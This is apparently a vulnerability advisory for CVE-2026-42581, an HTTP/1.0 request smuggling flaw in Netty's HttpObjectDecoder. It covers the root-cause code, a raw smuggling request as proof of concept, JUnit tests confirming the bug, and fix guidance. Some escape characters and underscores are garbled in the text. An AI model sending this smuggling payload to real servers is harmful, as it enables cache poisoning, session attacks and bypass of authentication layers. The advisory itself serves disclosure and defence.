PT-2026-38374 · Maven · Io.Netty:Netty-Codec-Http

Published

2026-05-07

·

Updated

2026-05-07

·

CVE-2026-42581

CVSS v3.1

5.8

Medium

VectorAV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N

NETTY HTTP/1.0 TE+CL Coexistence Bypasses Smuggling Sanitization

FieldValue
Libraryio.netty:netty-codec-http
Componentcodec-http — HttpObjectDecoder
SeverityHIGH
AffectsHEAD, commit 4f3533ae confirmed

Summary

HttpObjectDecoder strips a conflicting Content-Length header when a request carries both Transfer-Encoding: chunked and Content-Length, but only for HTTP/1.1 messages. The guard is absent for HTTP/1.0. An attacker that sends an HTTP/1.0 request with both headers causes Netty to decode the body as chunked while leaving Content-Length intact in the forwarded HttpMessage. Any downstream proxy or handler that trusts Content-Length over Transfer-Encoding will disagree on message boundaries, enabling request smuggling.

Root Cause

// HttpObjectDecoder.java:828-833
if (HttpUtil.isTransferEncodingChunked(message)) {
  this.chunked = true;
  if (!contentLengthFields.isEmpty() && message.protocolVersion() == HttpVersion.HTTP 1 1) {
    handleTransferEncodingChunkedWithContentLength(message); // strips CL — HTTP/1.1 only
  }
  return State.READ CHUNK SIZE;
}

// HttpObjectDecoder.java:870-873
protected void handleTransferEncodingChunkedWithContentLength(HttpMessage message) {
  message.headers().remove(HttpHeaderNames.CONTENT LENGTH);
  contentLength = Long.MIN VALUE;
}
The conflict-resolution path is gated on message.protocolVersion() == HttpVersion.HTTP 1 1. When the request declares HTTP/1.0, the condition is false, handleTransferEncodingChunkedWithContentLength is never called, and the Content-Length header survives into the forwarded message. Netty still processes the body as chunked; a downstream component that is CL-first interprets the same bytes as a separate request.

Proof of Concept

POST /api HTTP/1.0r

Host: internal.example.comr

Transfer-Encoding: chunkedr

Content-Length: 0r

r

5r

GPOSTr

0r

r
Netty consumes the full chunked body (5 bytes + terminator). A downstream CL-first proxy reads Content-Length: 0, considers the request complete at the blank line, and treats 5r GPOSTr 0r r as the start of a second request.

Conditions Required

  1. Netty is deployed behind a reverse proxy or load balancer that is Content-Length-first (nginx, some HAProxy configs, AWS ALB in certain modes).
  2. Attacker can send HTTP/1.0 requests (either directly or by downgrading via connection manipulation).
  3. No additional HTTP/1.0 stripping layer between attacker and Netty.

Impact

Request smuggling at the Netty edge. Allows cache poisoning, session fixation against other users, unauthorized access to internal endpoints, and bypassing of WAF or authentication layers that inspect only the first logical request.

Confirmed PoC Test

Verified against HEAD (4f3533ae) using EmbeddedChannel. Both tests pass, confirming the vulnerability and the HTTP/1.1 contrast.
package io.netty.handler.codec.http;

import io.netty.buffer.Unpooled;
import io.netty.channel.embedded.EmbeddedChannel;
import io.netty.util.CharsetUtil;
import org.junit.jupiter.api.Test;

import static org.junit.jupiter.api.Assertions.*;

public class NettySmugglingSec001Test {

  // VULNERABLE: Content-Length survives in HTTP/1.0 TE+CL conflict
  @Test
  public void http10 contentLengthNotStripped() {
    EmbeddedChannel ch = new EmbeddedChannel(new HttpRequestDecoder());
    ch.writeInbound(Unpooled.copiedBuffer(
        "POST /api HTTP/1.0r
" +
        "Transfer-Encoding: chunkedr
" +
        "Content-Length: 0r
" +
        "r
" +
        "5r
GPOSTr
0r
r
", CharsetUtil.US ASCII));

    HttpRequest req = ch.readInbound();
    assertEquals(HttpVersion.HTTP 1 0, req.protocolVersion());
    // Content-Length: 0 survives — downstream CL-first proxy treats chunked body as new request
    assertNotNull(req.headers().get(HttpHeaderNames.CONTENT LENGTH), "VULNERABLE: CL not stripped");
    ch.finishAndReleaseAll();
  }

  // SAFE: HTTP/1.1 correctly strips Content-Length on TE+CL conflict
  @Test
  public void http11 contentLengthStripped() {
    EmbeddedChannel ch = new EmbeddedChannel(new HttpRequestDecoder());
    ch.writeInbound(Unpooled.copiedBuffer(
        "POST /api HTTP/1.1r
" +
        "Transfer-Encoding: chunkedr
" +
        "Content-Length: 0r
" +
        "r
" +
        "5r
GPOSTr
0r
r
", CharsetUtil.US ASCII));

    HttpRequest req = ch.readInbound();
    assertNull(req.headers().get(HttpHeaderNames.CONTENT LENGTH), "SAFE: CL correctly stripped");
    ch.finishAndReleaseAll();
  }
}

Fix Guidance

Remove the message.protocolVersion() == HttpVersion.HTTP 1 1 guard in HttpObjectDecoder, applying handleTransferEncodingChunkedWithContentLength unconditionally whenever both Transfer-Encoding: chunked and Content-Length are present, regardless of protocol version.

Fix

HTTP Request/Response Smuggling

Weakness Enumeration

CWE-444

Related Identifiers

CVE-2026-42581
GHSA-XXQH-MFJM-7MV9

Affected Products

Io.Netty:Netty-Codec-Http